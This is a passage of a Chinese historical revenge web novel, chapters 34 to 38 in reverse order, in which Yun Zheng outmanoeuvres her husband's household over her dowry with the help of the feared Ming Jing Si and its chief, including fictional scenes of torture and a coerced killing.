“你……”平西侯很震惊,他是忽然变了,还是生来这样,只是藏的好? 江闻舟敢抢,就做好了万全的准备。 “父亲,一半血参给您和母亲备着,一半我留着施恩,这京城勋贵人家,文官大员家那么多老人孩子,总有需要血参救命的。” 靠着施恩,能拿下很多人脉。 平西侯面色稍霁,还算有点成算,“你心里有数就好。” 江闻舟眼神闪烁,“还有,我打算借着这伤发难,将云筝困在后院,嫁妆就由我们侯府支配,至于云家的家产,我会想办法夺取。” 他计划的头头是道,满眼都是熊熊燃烧的野心。 受制于人是不可能的,全都抢过来,不就完了吗?嗯,先杀了云家夫妻,断了云筝的后路! 平西侯满意的颌首,只有心狠手辣,又有城府的继承人,才能撑起侯府的一片天。 就在此时,下人通禀道, “侯爷,明镜司的谷雨大人送世子夫人回来了。” 江闻舟一听这话,当场变了脸色,“云氏在外勾三搭四,就该打断她的腿,明镜司到底是什么意思?故意的吧?” 平西侯心里也不痛快,父子俩赶往春晓院。 一进春晓院,江闻舟就率先发难。 “云筝,你还知道回来?哪家的媳妇像你这样夜不归宿,还日日跟野男人厮混?” “从今日起,你不得再踏出二门一步,否则,休了你。” 云筝淡淡的瞥了他一眼,嘴角轻扬,似笑非笑。 江闻舟警铃大作,有种不好的预感。 果然,谷雨面无表情的开口,“奉皇上口谕,特来接收嫁妆。” 平西侯脸色微变,“怎么这么忽然?我们都没有准备好,可否暂缓几日?” 谷雨拿出一物,“云大小姐已经准备好了,来人,照着这张清单去搬嫁妆。” 他一声令下,手下纷纷冲向库房。 平西侯拱了拱手,客气的问道,“请让我看看清单吗?” 谷雨将清单递过去,平西侯看完了,感觉天都塌了。 二十万压箱银子,一分不留,全上交。 除了十家田庄和两幢陪嫁大宅院,二十家店铺和四季衣物、日常用品保留着,其他都在清单中。 江南绸缎千匹,一百套头面,玉器摆件几百件,紫檀木全套家具,古书籍几百套,前朝名家名画几百件,名家书法字帖几百件,前朝名贵瓷器几百件等等。 像蜀锦百鸟朝凤的屏风,赤金累丝金冠,沉香木佛像,八大山人的《花鸟图》,韩滉的的《五牛图》,这些价值连城的宝贝,他都想好送什么人,怎么铺路往上爬了。 可,现在都没了! “云筝,你怎么不跟我们商量一下?“ 云筝很无奈的叹气,“世子对我又打又骂,我哪有机会商量?” 平西侯心在滴血,手在发抖,“我已经教训过他了,他保证,会好好待你,你把清单调整一下,有些东西是传家的宝贝。” 传给谁?江闻舟和叶宜蓁生的孽种吗?云筝不禁想起那个过继到她名下的孩子,那真是个混世小魔王,天生的坏种。 谷雨大人冷眼说道,“九千岁已经看过了,不能改。” 看着一样样嫁妆搬出去,江闻舟的脸色越来越红,咬牙切齿,这些都是他的啊! 他的心好痛!云筝,她好狠! 唯一庆幸的是,千年血参这一批没法用金钱衡量的宝贝,没有入清单。 谁知,谷雨大人忽然开口问道,“千年血参呢?珍珠凤冠呢?金凤朝阳红宝石头面呢?” 这话一出,平西侯父子的脸色大变,“清单上没有啊。” 这不光是他们仅剩的希望,而且,血参已经用过了!进上的东西可不能有残缺! 谷雨大人用一种怜悯的眼神看着他们,“不是吧?你们还不知道?” 平西侯父子慌了,有种要倒大霉的感觉…… 第38章 这一招太狠了 逼叶宜蓁自断一臂,让她的手沾上人命,不仅往她心上扎刀,还毁了她完美的形象。 以后,哪个下人还愿意尽心?谁还愿意为她卖命? 这是毁她的根基! 最重要的是,江闻舟会怎么想?他爱的是善良温柔的她,一旦手染血腥,还会爱吗? 这事如同一根刺,随时会生出嫌隙。 这一招狠,太狠了,云筝是个狠人! 谷雨解下绑住叶宜蓁双手的铁链,将一把长剑塞进叶宜蓁手里。 叶宜蓁如接到了烫手山芋,吓的不行,“不,我不敢!” 江闻舟非常生气,大声喝斥,“云筝,你还是人吗?怎么能说出这么残忍的话?” 云筝微微一笑,“行吧,那就继续用刑,我听说,有一种烙刑,是用烫的通红的烙铁,烙在人身上,会发出滋滋的声音,要不,让我开开眼界?” 厉无恙默了默,她是懂狐假虎威的,“行,就烙在脸上!” 叶宜蓁浑身发抖,脸色白的吓人,快要崩溃了,“不,不要。” 王嬷嬷深深的看着她,忽然大喊一声,“小姐,我不想活了,我想死!求您帮老奴解脱吧。” 叶宜蓁闭了闭眼,无数情绪翻滚。 厉无恙很不耐烦,“本王数到三,一,二……” 三还没说出口,叶宜蓁一剑刺下去,动作极快,又快又准,刺中王嬷嬷的心口。 王嬷嬷闷哼一声,胸口的血流淌出来,眼睛渐渐翻白,没有了气息。 全场鸦雀无声,静的出奇,江闻舟不敢置信的看着那个柔弱女子,怎么会?他一定在做噩梦! 云筝嘴角轻轻扬起,手刃仇敌固然痛快,但,让仇敌死在自己效忠的主子手里,更痛快。 前世她在王嬷嬷手底下吃尽了苦头,挨饿是家常便饭,还逼她跪下来吃猪食,舔她的鞋子,怎么屈辱怎么来。 今生,一切都变了。 这一刻,她释然了。 人一死,一了百了。 叶宜蓁像是受了极大的刺激,小脸白的吓人,身体摇摇欲坠,不知怎么的,往厉无恙方向倒去。 厉无恙面无表情的看着叶宜蓁倒过来,就在她即将摔进他怀里的那一刻,长腿适时往旁边一迈,完美避开。 叶宜蓁重重摔在地上,眼睛一闭,晕了过去。 全场鸦雀无声,静的出奇。 云筝忍不住笑了,“这算是投怀送抱吗?” 厉无恙薄唇一掀,凉薄的话出口,“算,怎么不算呢?” “江世子,你的心上人,随时会倒向另一个男人怀里吗?” 他是懂怎么往男人心口捅刀子的。 江闻舟整个人木木的,还没有从叶宜蓁杀人的噩梦中回过神,“这是误会,她秉性柔弱……” 云筝一本正经的点头,“嗯,利落杀了自己的奶嬷嬷,眼睛都没有眨一下的柔弱。” 江闻舟:…… 等平西侯带着一群手下马不停蹄赶往明镜司,正好看到失魂落魄的儿子,和衣衫沾血的儿媳妇走出来。 他勒住马鞭,又气又急,“对你们用刑了?你们不管招了什么,都是屈打成招,绝不能认。” 不闹一闹,怎么洗清罪名?总不能默默认下来。 两人像没了魂般,沉默不语。 平西侯急的不行,到底是怎么了?哑巴了? “谷雨大人,今日之事一定要给我一个说法,我儿到底犯了什么事?为什么把他抓来?” 谷雨神色倨傲,“一,我们没有抓江世子,是他为了叶宜蓁主动跟来的,赶都赶不走。” “二,叶宜蓁的嬷嬷王氏雇人绑架儿童,捏造事实,收买人心,证据确凿。” 平西侯心里暗骂王氏做事不利落,被人抓住把柄。 “那,关叶宜蓁什么事?” 谷雨冷笑一声,“侯爷说笑了,你家管家犯事,你说,跟你没关系,大家信吗?” 平西侯据理力争,“瞒着主子作威作福,确实该杀,主子不过是一个失察之罪。” 谷雨脸上露出一丝诡异的笑,“对,失察之罪,所以,叶宜蓁亲手杀了一手将她带大的奶嬷嬷,以证清白。” 平西侯倒抽一口冷气, 当年是王氏护着叶宜蓁千里迢迢赶到京城投亲,这般患难与共的情谊,居然还被杀了? “你没说错?” 谷雨嘲讽道,“恭喜侯爷,侯府娶了一个铁血无情的媳妇,以后就不用愁了。” 平西侯看了叶宜蓁一眼,她眼泪汪汪的,像是受了极大的委屈,但落在平西侯眼里,内心生起一丝寒意。 连忠仆都下得了,那,对别人呢?他这是第二次看走了眼,两个儿媳妇都不是善茬。 这还没完,谷雨呵呵一笑,“对了,侯爷,别再对外散布谣言,说我家九千岁看上了叶氏,强掳她回明镜司,你们不嫌丢人,我们嫌脏,什么玩意都敢往我家九千岁身上扑。” “若再有下次,诏狱见!” 他态度强硬,为自家九千岁正名,众人都惊呆了,啥? 如一盆冷水当头浇下来,浇了个透心凉,平西侯脸色奇差,“这一定有误会……” 不等他说完,谷雨就转头看向身后,“九千岁大发善心,特恩赐,允你们收尸。” 一名侍卫将王氏血肉模糊的尸身往叶宜蓁身上一扔,叶宜蓁对上那双死不瞑目的眼睛,尖叫一声,晕了过去。 这一回,是真的晕了。 谷雨转身回了明镜司,围观之人才敢背后议论几句。 “明镜司行事太过嚣张跋扈,必须弹劾。” “有啥用?皇上一味的包容九千岁,我们动不了他分毫。” 平西侯对着儿子就是一巴掌,“孽障,看看你娶的好妻子!都什么玩意,我这张老脸被你们丢尽了。” 明镜司内,云筝一脸的震惊,“什么?让我自己筹银子?不能让户部尚书全权接手吗?“ 厉无恙拿起茶杯喝了一口,“户部尚书日理万机,太忙,顾不过来。” 云筝知道这只是一个借口,但没有挑破。 她眼珠一转,有了主意,“那,举办两场拍卖会,就拍卖嫁妆,一场邀请官宦权贵,一场邀请富贾商人。” “不过,要请您帮忙,给各家下帖子。” 他的份量足够,而她,权贵可不会给她面子。 厉无恙定定的看着她,“有几成把握?” 云筝笑吟吟的道,“十成,论经商,我是专业的。” “行,就这么决定了。” 云筝本身告辞,走出两步,忽然停下脚步。 “啊,我一些珍贵的嫁妆被江世子抢走了,包括我打算进献给帝后和太后的礼物。” 厉无恙挑了挑眉,“这么巧?” 云筝一脸的无辜,“对,就这么巧,也不知他发什么疯,居然有胆子跑去抢嫁妆。” “找死。”厉无恙心思飞转,难道宫中有人撑腰?是谁? 他心念一动,“立春,陪云大小姐回平西侯府,收嫁妆,谁敢阻止,当诛!” “是。”立春恭敬应了一声,他只知道,抢帝后东西的人都不会有好下场! 云筝眉眼弯弯,哈哈,平西侯府又要倒霉了! 第37章 你是懂杀人诛心的 皇上目瞪口呆,“你强抢人妻?是哪家的?哪个美娇娘能让你如此痴狂?” 厉无恙冷笑一声,好大一个黑锅砸下来。 “是谁诬告本王?本王这就去抄了他的家,灭他全族。” 禁卫的脸色一白,“是……金吾卫校卫,方珢。” 金吾卫负责巡察治安、警戒京城,在大型活动时,也负责防务。 皇上挥了挥手,满眼兴味,“快把他叫进来。” 方珢很快就进来了,恭恭敬敬的行了大礼,“参见皇上,吾皇万岁万岁万万岁。” 皇上迫不及待的追问,“快说说,九千岁强抢人妻是怎么回事?抢了哪家的媳妇?” “禀皇上,抢的是平西侯府的儿媳,初代平西侯曾协助太祖建立不世功勋,太祖允诺,平西侯府与国同休,又岂能折辱?” 厉无恙的心莫名的一跳,云筝? 皇上怔住了,平西侯府的儿媳?“这有何证据?” 方珢是个愣头青,义正言辞的表示,“听说明镜司齐齐出动,将人掳走了,光天化日之下强抢民妇,成何体统?将皇室的脸面往哪里放?” “请皇上主持公道,莫让有功之臣寒了心。” 皇上哈哈一笑,“无恙,你最近频频跟人接触,原来是动了凡心,好,朕帮你把她抢过来,但有一点先说好,只可纳为妾室。” 方珢目瞪口呆,这是助纣为虐!“皇上,睿亲王他……” 厉无恙面无表情的反驳,“皇兄,我和云家大小姐清清白白,断无半点不轨之事。” 方珢猛的抬头,奇怪的开口,“什么云家大小姐,是叶宜蓁叶姑娘。” 厉无恙怔了怔,随后,不知是失望,还是羞辱涌上心头,“一个心思恶毒的贱妇,她配吗?方珢,你的眼睛不好用,捐了吧。” “九千岁,外面都传遍了,您说不是,谁信?除非,您将人放回去。” 传遍了?这么快?皇上和厉无恙不约而同的蹙眉,这不对劲。 厉无恙面如沉水,“皇上,臣弟有理由怀疑,有人在暗中策划了这一切,只为了逼臣弟放人。” “问题是,这么短的时间内,他们是怎么做到精准的传递消息?又怎么确保会递到御前?” 皇上的脸色也不好看,“你是说,宫中有平西侯府的眼线?” 哪是为了叶宜蓁,分明是为了救平西侯世子江闻舟。 “是。”厉无恙却隐隐觉得,闹这一出不是江世子,而是为了叶宜蓁。 皇上本就忌惮那些勋贵,心中不悦,“彻查,不管查到谁头上,都绝不姑息。” “是。”厉无恙冷冷的看着方珢,清洗宫庭,就从他开始吧。 方珢浑身剧颤,瘫软在地。 暮色四合,厉无恙面无表情的走在宫道,衣袖飞舞,说不出的寂寥。 就在此时,一名明镜司跑过来,“主子,云大小姐伤了江闻舟的脸,情况有点严重,平西侯府不会善罢甘休的。” 厉无恙脚下一顿,眉头微皱,“走,出宫。” 等他回到明镜司,就看到这一幕,心中的怒火更盛了。 “进了明镜司,九死一生,没有人能全身而退,用刑!” 几个属下冲向叶宜蓁,江闻舟拼尽全力阻拦,但,两手难敌众拳,被打趴在地上。 而,叶宜蓁被抓起来,双手锁在墙壁上,她吓坏了,瑟瑟发抖,“九千岁,饶了我吧,求您了。” 江闻舟苦苦哀求,“蓁蓁是无辜的,求九千岁破例,以后,您若有什么差遣,我随叫随到。” 他这是臣服之意。 但,他这种人蛇鼠两端哪有什么忠心,受了如此奇耻大辱,随时会背刺。 厉无恙居高临下的看着他,视线落在江闻舟脸上的纱布上,扭头看向云筝。 云筝眨了眨眼睛,无辜极了。 厉无恙微微蹙眉,她行事太过冲动,打人不打脸,伤人不伤在明处,这落下把柄了。 “江世子,听说你要告御状,要状告本王?” 江闻舟脸色大变,“九千岁容禀,绝无此事,我对九千岁向来仰慕。” “仰慕本王什么?” 江闻舟心中厌恶至极,却舔着脸讨好道,“你气度不凡,英姿勃发,行事果断利落,是我辈楷模。” “口不对心,该打。”话音刚落,厉无恙就一拳打在江闻舟脸上,刚愈合的伤口又一次裂开,将纱布染红了。 江闻舟只觉得脸部剧痛,心底升起一股惧意,他不会是毁容了吧?啊啊啊,不要啊! 厉无恙冷笑一声,“废物。” 一鞭子抽向叶宜蓁,娇生惯养的叶宜蓁从未受过这样的苦,皮开肉绽,疼的死去活来,“啊。” ”疼,好疼,别打了,我真的不知道。” 王嬷嬷又气又急,又心疼,“不要打我家小姐,她真的什么都不知道,你们不能屈打成招。” 又一鞭子抽下去,叶宜蓁疼的撕心裂肺,眼睛翻白,快要晕过去了。 江闻舟猛的扑过去,紧紧抱住叶宜蓁的身体。 鞭子狠狠抽在他身上,他发出一声闷哼,豆大的汗珠滚落下来。 云筝挑了挑眉,冷笑一声,“好一个夫妻情深。” 厉无恙心底升起一丝异样,“云大小姐,你是受害者,你认为该如何处置他们?” 江闻舟如同听到了特赦,情绪激动不已,“云筝,看在夫妻一场的份上,帮帮我吧,我敢担保,蓁蓁只是嘴硬心软,不是那种心狠手辣之辈。” “只要你放过蓁蓁,你刺杀我一事,我不会追究了,以后我们三个好好的过。” 那是不可能的,只要熬过此劫,他会送这些人都去死! 叶宜蓁强打起精神,可怜兮兮的哀求,“云筝,虽然我不知情,但没有管好下人,是我的错,我向你道歉。” 云筝心中快意,面上却游移不定,“真的不是你?” 叶宜蓁拼命抓住机会,“我发誓,如果是我,就让我天打雷劈,不得好死。” 等她发了誓,云筝才慢悠悠的开口,“我不信这个的,你不用发誓。” 叶宜蓁心里气的骂娘,那你倒是早说啊。 云筝笑容甜美,却说出冷酷至极的话,“只要你亲手杀了王嬷嬷,证明你是清白无辜的,那,我就既往不咎。” 这话一出,全场静的出奇,齐刷刷的看向云筝。 她是怎么用最甜美的笑容,说出最残忍的话? 杀人诛心,莫过于此,此女太狠了! 云筝笑的更甜了,“杀?还是不杀?” 这是绝户计!一箭双雕的绝户计!叶宜蓁惊恐的睁大眼睛,一股寒气从脚底升起,迅速往四肢蔓延,遍体生寒…… 第36章 不顾人伦,强抢人妻? 明镜司,就位于皇宫隔壁,只有一墙之隔,这是让无数人闻风丧胆的地方。 牌匾上写着金色的明镜司三个大字,龙飞凤舞,出自开国皇帝之手。 云筝走下马车,仰头看了一眼,侍卫森严,狰狞的兽头让人不寒而栗。 身后传来一道冰冷的声音,“云筝,蓁蓁若有罪,你这个侯府的二少夫人也逃不了干系。” 这是江闻舟的警告,也是威胁,不要乱说话。 云筝微微侧头,“江闻舟,你儿女情长,注定成不了大事,平西侯府总有一天毁在你手里。” 两人的目光在空中交锋,互不相让,火花四溅。 谷雨大人不耐烦的催促,“进去!” 走进明镜司,环境居然不错,鸟语花香,小桥流水,好一派江南园林景象。 前面是办公区,人来人往,个个神色严肃,空气中弥漫着肃杀之气。 云筝挑了挑眉,忽然说道,“谷雨大人,听说进了你们明镜司,没人能全身而退。” “也有例外的。”谷雨不动声色的观察,她确实有点特别。 在恶名昭彰的明镜司行走,居然没有一点怯色。 君不见,旁边的江闻舟和叶宜蓁脸色极差,像家里死了人般。 或许,正是这份胆量让九千岁另眼相看吧。 一行人走着走着,一转角,就进入一幢建筑屋,顺着台阶往地下走,一股恶臭味迎面扑来,让人不由的屏住呼吸。 景象一变,光线昏暗,潮湿阴冷,宛如深黑的无底洞。 拷打声,惨叫声,求饶声,声声传进众人耳朵里,都变了脸色。 江闻舟不由自主的屏住呼吸,叶宜蓁额头隐隐有汗。 他们被带进一间牢房,一个女人四肢被拷起来,遍体鳞伤,鲜血淋漓,奄奄一息。 但,看到叶宜蓁的瞬间,她的眼睛刷的亮了,“小姐。” 叶宜蓁快走两步,紧紧拽着栏杆,“奶嬷嬷!” 行刑人员一鞭抽下去,“王氏,你家小姐到了,你赶紧招吧。” 王嬷嬷浑身剧震,疼的惨叫,“别打了,我招!” 云筝不动声色看向叶宜蓁,此时的叶宜蓁微微咬唇,看着害怕,其实不怎么紧张。 王嬷嬷深吸一口气,“绑架鬼医的孙子是我出的主意,也是我指使茶楼的伙计找绑匪,我对那小伙计有一饭之恩,他是忠义之人,宁死也要报恩。” “至于,那些绑匪,我不认识。” 云筝看在眼里,微微摇头,王氏这是将所有的罪责揽到自己身上。 明镜司的人也不相信,“你跟鬼医无冤无仇的,为什么要这么做?有什么动机?是谁指使你的?” 王嬷嬷伤的很重,眼睛都睁不开了,“没有指使,我最终目的是拉拢鬼医,为我所用,帮我除掉云筝和云家所有人。” “只有那样,平西侯府就能顺利接收云家的财产,我家小姐也能坐稳世子夫人之位,再无人跟她争锋。” 这说法也算合情合理,但,云筝一个字都不信,区区一个奴婢怎么可能有这种野心? 谷雨大人忽然拿起烫的通红的烙铁,一步步逼近,“你是说,叶宜蓁对此事一无所知?你考虑清楚了,撒谎是要付出代价的。” 嬷嬷闻到烙铁灼热的气息,脸色青白,浑身颤抖,“我说,我说实话。” 叶宜蓁瞳孔一缩,垂在宽大衣袖下的手紧握成拳。 鲜血顺着王嬷嬷的脸颊往下流淌,“是……我家小姐心慈手软,连只蚂蚁都不敢踩死,那由我来做这个坏人。” 王嬷嬷气喘吁吁,一副随时要断气的样子,“我无意中结识了一个人,他身患绝症,所有大夫束手无策,但被鬼医出手救活了。” 谷雨继续追问道,“那人叫什么?是什么人?” 王嬷嬷摇头道,“当年我们北上京城,途中偶遇,萍水相逢,没有互换姓名。” 谷雨立马抓住了关键,“就是说,有没有这个人存疑?” 王嬷嬷血迹斑斑的脸扭过去,恶狠狠的盯着云筝,“云筝,你抢我家小姐姻缘,要遭天打雷劈的,我这是替天行道。” 这老婆子对叶宜蓁太忠心了,就是她养的恶犬,指哪咬哪。 不过,云筝并不失望,早就料到了,“叶宜蓁,你真的一无所知?” 若,无法将叶宜蓁绳之以法,但,可以让她付出相应的代价。 想全身而退?那也要看她答不答应。 叶宜蓁一脸的痛心疾首,“我若是知道,一定会阻止,嬷嬷,你糊涂啊。” “当年要不是您,老奴早就没命了,老奴怎么舍得让您受苦……”王嬷嬷眼眶通红,满眼的不舍。 就在此时,一道冰冷的声音响起,“还有力气说这些废话,看来我们明镜司的手段不够狠。” 是厉无恙,他快步走进来,浑身散发着冰冷的寒气。 他冷冷的下令,“把叶宜蓁绑起来,动刑。” 叶宜蓁吓的脸色苍白,“九千岁,我……” 厉无恙看到她,就想到之前的糟心之事,气压更低了。 就在半个时辰前,皇上眉头紧皱,“无恙,你再怎么桀骜不驯,也该想想太后的感受,她盼着你娶妻生子。” 厉无恙薄唇微勾,不经意间透着一股不羁,“那就不劳她操心了。” 这态度让皇上心情很复杂,“你别这么说,毕竟是你的亲生母亲。” 厉无恙很不耐烦的站起身,从怀里掏出一物。 “这是云家大小姐送来的嫁妆清单,您是派人去接手呢?还是等她将嫁妆卖了换银子?” 皇上随意翻了翻,一长串的嫁妆,估值在五百万左右。 “一事不烦二主,就让云家换成银子,限时十日。无恙,你跟户部尚书一起跟进此事,必务要早日将银子交割完毕。” “是。” 他的视线落在最后一页,云家特意进献一支千年血参和百年灵芝给皇上。 一顶珍珠凤冠和两匹软烟罗进献给太后,一套红宝石头面,两匹蝉翼纱进献给皇后。 “千年血参?百年灵芝?没想到云家还有这样的好东西。” 皇上私库里也有一支血参,云家居然也有! 帝王的猜忌之心在这一刻达到了顶点。 厉无恙漫不经心的说道,“女子生产是一只脚踏进鬼门关,云家爱女心切,找遍天南地北,费时十年才搜罗到了一支,用来压箱底。” 灵芝虽珍贵,但皇上私库不缺此物,只看重这千年血参。 “罢了,念在云氏将东西交上来了,就不跟她一般计较,无恙,你出宫前,去给太后请个安。” 厉无恙微微蹙眉,刚想说什么,一名禁卫匆匆走进来,“皇上,有人告密……” 他小心翼翼的看了九千岁一眼,神色古怪极了。 皇上冷喝道,“说。” 禁卫身体哆嗦了一下,“说,九千岁不顾人伦,强抢人妻!” 全场:!!! 皇上猛的扭头,“谁?是谁?” 第35章 要死,一起死 云筝冷冷一笑,不遗余力的落井下石。 “世子刚才说的,还说,蓁蓁是他的至爱,她比家人,比侯府,比君王都重要,为了她,他会不择手段,不惜一切代价……” 每一个字都踩在雷区蹦哒,明镜司看江闻舟的眼神都不一样了,这还是一个情圣? 比家人重要,那是不孝! 比君王还重要,那是不忠! 侯夫人的脸色像吃屎了般,恨恨的瞪了叶宜蓁一眼,这也是一个祸害。 江闻舟整个人都不好了,脑袋嗡嗡作响,“你胡说八道,我没有这么说过。” 云筝手指着这对狗男女,他们说的更恶心。“叶宜蓁是装伤病,其实好着呢,江闻舟是包庇罪犯,快将他们一起带走吧。” 叶宜蓁眼珠飞转,怎么办? “弟妹,你真的是疯癫了,各位大人,还请不要为难我夫君,我这就跟你们走。” 她爬起来,跌跌撞撞往前走,走一步喘一口大气,一副快要断气的样子。 江闻舟心疼的厉害,脑袋一热,“我要告御状。” 侯夫人想抽他一巴掌的心都有了,告谁?为了一个女人不管不顾,白养他了。 云筝不禁乐了,他已经被剥夺了禁军侍卫的职务,哪还有资格上书君王? 等他哪天坐上平西侯的位置,再说吧。 “谷雨大人,世子要告你们明镜司和九千岁呢,此人心胸狭窄,会装会演,会捏造事实,还请诸位多加小心。” 这一声,让明镜司众人俱变了脸色,冷冷的瞪着江闻舟。 他们对外残暴,但对九千岁是忠心耿耿,死心塌地。 江闻舟不由自主的朝后退了几步,骤然一身冷汗,手脚发软。 叶宜蓁快抓狂了,宁可自伤八百,杀敌一千,怎么会这种人? 好想捂住她的嘴! “云筝,若是世子有事,你也会被牵连的,所以,请不要再落井下石了。” 江闻舟被叶宜蓁的温柔善良所感动,被云筝的不识大体气的不行。 “云筝,我这辈子都不会喜欢上你这种恶毒的女子,永远不会。” 云筝气笑了,“大人,他们在拖延时间。” 江闻舟心一横,要倒霉一起啊。“谷雨大人,把云筝也带上,她是我的妻子,夫妻一体,荣辱与共。” 要死,也要拖着云筝一起死。 夫妻一体?这可把云筝恶心坏了。 谷雨瞥了她一眼,做了个请的手势。“云大小姐,请。” 看似严肃到不讲情面,但不经意间,冲云筝递了一个眼色,有安抚之意。 他们跟随主子多年,主子对任何女子都不假辞色,唯独对云筝不一样。 是的,很不一样。 这是唯一能跟主子同桌吃饭的女子,太特殊了。 他们哪敢对她无礼? 话说,立秋还跟着主子蹭到了云家的佛跳墙,回来后赞不绝口,念念不忘,搞的大家心痒痒的,也想吃! 讨好云家大小姐,会不会就有机会吃上? 云筝懂了,去就去呗,她还没有去过明镜司,就去见见世面吧。 春华和春桃急的不行,纷纷护在她身边,“不要抓我家小姐,她什么都没做,她是清白的。” 云筝轻声安抚道,“别慌,清者自清,我相信九千岁明察秋毫,必不会冤枉一个好人,也不会放过一个坏人。” “两位嬷嬷,你们好好守着院子,不许任何人进出,等着我回来。” “是。”两嬷嬷相视一眼,这就给宫中递信。 云筝率先走出去,背影极为果决,春华几人跟了上去。 江闻舟心思飞转,看向侯夫人,“母亲 ,您别担心,我不会有事的。” 侯夫人纵有千般怨言,但终究是心疼儿子。“机灵点,别犯糊涂。” “我有分寸。” 叶宜蓁可怜兮兮的,小脸白的吓人。“夫君,我怕。” 江闻舟一把抱起叶宜蓁,往外走去。“别怕,不管发生什么事,我都会陪着你。” 叶宜蓁临出门时,不动声色的看了角落一眼,那里有一道不起眼的黑影。 黑影微微点头,趁混乱时悄无声息的溜出去,报信! 侯夫人咬了咬牙,吩咐下去,“去西山大营通知侯爷,就说世子被带去了明镜司,请他赶紧回来主持大局。” 平西侯作为勋贵,在军中是有职务的。 这几日他都不在府中,去了西山大营练兵,吃住都在营中。 “是。” 宫中,养心殿,安静的出奇,只闻皇上批阅奏折的声音。 厉无恙阔步走进来,微微拱手。“见过皇兄。” 坐在书案后皇上将奏折一扔,拿起茶杯喝了一口,“无恙,弹劾你的折子堆成小山,你自己看看吧。” “哦。”厉无恙随意选了一个位置坐下,熟稔而又自在。 他随手翻了翻奏折,全然不在意。 弹劾他,是家常便饭,习惯了。 咦,这些是弹劾他故意跟弱女子过不去,故意为难勋贵家眷? 他嘴角一勾,有点意思,弱女子是指叶宜蓁? 皇上揉了揉眉心,无奈的叹了一口气,“你这次大动干戈,到底是为什么?“ 厉无恙拿起几本奏折,送到皇上面前,“平西侯府看似没落了,但,上下串连的能力出乎我的意料,十大公侯府,有五位帮他说话,能量实在惊人。” 皇上眼神微凝,淡淡的道,“还是要注意分寸,免得惹了众怒,到时朕想保也保不住你。” 厉无恙眼垂的眸子闪过一丝淡淡的嘲讽,一闪即逝。 气氛看似平和,其实暗涛汹涌,角落里的大太监屏住呼吸,都不敢大喘气。 皇上忽然看向四周,轻声喝斥,“该死的奴才,还不快给九千岁上茶点?九千岁爱吃枣泥酥和绿豆糕,快拿上来。” “还有,将朕珍藏的头茬碧螺春泡一壶上来。” 他一阵张罗,让奴婢们羡慕不已,皇上对九千岁真好,时时挂在心上,那些皇子可没有这样的待遇。 宫人送上热气腾腾的茶点,大太监亲自接过,双手奉到厉无恙面前。 “九千岁,皇上知道您爱吃这几道点心,让御膳房每日备着,只等着您进宫吃。” 厉无恙接过茶杯,拿着茶盖微微示意,“谢皇上。” 冷峻而坚毅,棱角分明,透出一股不容置疑的霸气。 皇上看着眼前芝兰玉树的青年,心神一阵恍惚。仿佛看到了年轻时的自己。 “无恙啊,你是朕一手带大的,你的为人朕还是了解的。” 皇上深深的看了他一眼,忽然说道,“你年纪也不小了,也该成婚了,皇后那边搜罗了不少才貌双全的贵女,你挑一挑。” “皇后会在几日后举办赏花大会,你必须参加,若届时你不选王妃,朕就给你指婚!” 王妃?厉无恙眉头微蹙,脑海忽然闪过一个轻盈灵动的身影。 怎么是她?不,不会的!一定是想多了! 第34章 来啊,相互伤害啊 “舟儿。”一道凄厉的惨叫声猛的响起,是侯夫人。 她刚返折回来就看到这惨烈的一幕,肝胆欲裂,差点吓晕过去。 一阵剧痛袭来,江闻舟终于反应过来,颤抖的手触碰脸颊,手上地沾满了鲜红的血。 鲜血深深的刺痛了他的眼睛,他眼前一阵阵发黑,浑身发冷。 差一点点,就被戳瞎了眼睛。 他若是成了残废,一切都完了,什么前程,什么权势,都没有了! 云筝,她怎么敢弑杀亲夫? “舟儿。”侯夫人飞扑过来,紧紧拉住江闻舟的胳膊,小心翼翼的检查他的伤口。 面积不大,但伤口颇深,鲜血止不住的流。 她慌的不行,“快拿最好的金创药过来,就侯爷珍收藏的金创药,快,动作快。” “快叫府医。” 奴婢们如无头苍蝇般乱转,拿伤药的,拿干净布巾的,叫大夫的,全乱了套。 叶宜蓁也吓坏了,索索发抖,她美丽的脸蛋也差点受伤。 她摸着脸,越想越后怕,“云筝,你这个疯子,好恶毒。” 云筝把玩着手里的碎片,沾血的碎片闪烁着让人心惊的光芒。 她神色淡漠极了,“都说我疯了,那就坐实了呗,世子,你脸疼吗?哎呀呀,不会要毁容了吧?面有瑕疵者,不知道还能为官吗?还能继承爵位的吗?” 一句句如催魂般,让人胆战心惊。 江闻舟神色忽白忽青,眼神冷厉,爵位是他的,谁都别想夺走。 叶宜蓁脸色大变,不好,江闻舟若不能为官,不能当世子,那他还有什么价值? 那,她苦心经营数年的心血就要付诸东流。 侯夫人大受刺激,云筝是故意的,这是铁了心要毁掉江闻舟。 她就这么一个独子,还指望他光耀门楣,让她尽享荣华富贵。 “贱人,我跟你拼了。” 云筝气定神闲的拿着花瓶碎片,对准侯夫人,一副跃跃欲试的模样。 伤一个和伤两个有区别吗?没有!来啊! 侯夫人吓的退了回去,不,不行,她是真的敢扎下去! “你大不孝!” 孝个屁!父慈子才孝,她配吗? 云筝冷冷的看着这些试图控制她的人,她不服,她不认命! “匹夫之怒,血溅五步,女子之怒,血溅三尺,江闻舟,这是你自找的。” 江闻舟惊怒交加,恨的咬牙切齿,“把她抓起来,拖出去打一百板子,别打死了,留一口气就行。” 一百板子,不死也残,她必须付出惨重的代价。 护卫哗啦啦的涌进来,将云筝团团围住。 春华几个虽然害怕,但还是紧紧护在云筝身边。 季嬷嬷和李嬷嬷一左一右围在云筝身侧,“世子,你冷静些,皇上不会允许你胡来的。” 江闻舟怒火中烧,“是她先不仁,谋杀亲夫,我只是教教她规矩,让她知道男尊女卑的道理。” 不得不说,他很聪明,站在道德的舆论高地,更迎合了当今圣上的理念。 “世子……”季嬷嬷脸色很难看,他怎么态度这么强硬?不对劲。 江闻舟不耐烦的打断道,“若是误伤两位嬷嬷,我会亲自进宫请罪。” 他阴戾的眼神让人不寒而栗,“将云筝拿下,我要她,生不如死!” 先斩后奏,就不信皇上还会为一个女人而治平西侯府的罪。 再说了,事出有因,云筝先动的手!他这张脸就是证据! 叶宜蓁和侯夫人不约而同露出快意,恨不得立马折辱云筝。 云筝不闪不避,全无惧色,视线落在门口,一,二,三…… 而,站在她身而的紫云右手按在腰间,随时暴起,有她在,必能护着主子全身而退。 眼见,情势一触即发,一声通禀声猛的响起。 “禀世子,明镜司掌镜使,谷雨大人到了。” 侯夫人猛的回头,来了,明镜司果然来人了。 叶宜蓁打了个冷战,不由自主的哆嗦,脸色发白。 